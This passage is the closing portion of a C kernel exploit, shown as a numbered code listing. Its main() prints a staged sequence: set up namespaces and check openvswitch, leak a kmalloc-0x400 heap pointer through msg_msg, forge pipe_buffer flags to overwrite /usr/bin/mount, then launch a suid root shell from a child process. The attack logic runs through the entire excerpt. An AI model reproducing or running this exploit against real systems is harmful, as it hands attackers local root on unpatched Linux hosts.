| 1051 | } |
| 1052 | |
| 1053 | int main(int argc, char **argv) { |
| 1054 | pipe(sync_pipe); // notify sub-process to exucute suid-shell |
| 1055 | |
| 1056 | if (!fork()) { |
| 1057 | // 1. initial - bind cpu & set namespace & get flow_family_id & get msg queue & sock_pairs[4][2] |
| 1058 | logd("[1] initialize exploit environment ..."); |
| 1059 | do_init(); |
| 1060 | // 2. test if openswitch enabled |
| 1061 | logd("[2] create br to check if openvswitch works ..."); |
| 1062 | create_br1337(); |
| 1063 | // 3. leak kmalloc-0x400 (msg_msg->m_list.next / prev) |
| 1064 | logd("[3] leak kmalloc-0x400 (msg_msg->m_list.next / prev) ..."); |
| 1065 | while (exploit_step1()) |
| 1066 | { logw("retry ..."); } |
| 1067 | // 4. forge pipe_buffer->flags & overwrite "/usr/bin/mount" |
| 1068 | logd("[4] do exploit step 2 ..."); |
| 1069 | while (exploit_step2()) |
| 1070 | { logw("retry ..."); } |
| 1071 | // 5. notify sub-process to execute suid-shell |
| 1072 | logd("[5] notify sub-process to execute suid-shell ..."); |
| 1073 | write(sync_pipe[1], "T", 1); |
| 1074 | while (1) { sleep(10); } |
| 1075 | } else { // sub-process: wait to execute suid-shell |
| 1076 | char sync; |
| 1077 | read(sync_pipe[0], &sync, 1); |
| 1078 | logd("[6] begin to execute suid-shell ..."); |
| 1079 | if (sync == 'T') |
| 1080 | execl(ATTACK_FILE, ATTACK_FILE, NULL); |
| 1081 | } |
| 1082 | return 0; |
| 1083 | } |
| 1084 |
nothing calls this directly
no test coverage detected